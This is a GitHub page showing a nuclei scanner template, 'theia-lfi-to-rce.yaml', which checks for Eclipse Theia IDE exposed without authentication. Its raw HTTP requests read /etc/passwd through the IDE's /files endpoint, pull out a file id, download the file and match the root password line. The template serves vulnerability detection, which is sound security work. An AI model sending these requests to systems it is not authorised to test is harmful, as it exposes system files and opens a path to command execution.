forked from projectdiscovery/nuclei-templates
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy paththeia-lfi-to-rce.yaml
More file actions
45 lines (38 loc) · 1.15 KB
/
theia-lfi-to-rce.yaml
File metadata and controls
45 lines (38 loc) · 1.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
id: theia-lfi-to-rce
info:
name: Eclipse Theia IDE - LFI to RCE
author: 0x_Akoko
severity: critical
description: |
Detected Eclipse Theia IDE was exposed without authentication, allowing unauthenticated attackers to access the web-based IDE with terminal capabilities, file system access, and arbitrary command execution.
reference:
- https://theia-ide.org/
metadata:
verified: true
max-request: 2
tags: theia,ide,lfi,file-read,unauth,rce
flow: http(1) && http(2)
http:
- raw:
- |
GET /files/?uri=file:///etc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /files/download/?id={{file_id}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: file_id
part: body
internal: true
json:
- '.id'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a004630440220369e9c17834a5bde4249d11faf3ff8b5b6a955e927343f0d83f1388f17393c3f0220611da5541d7739826d0387bf91c27dc1674e232a6508b7508381584da67ecb1f:922c64590222798bb761d5b6d8e72950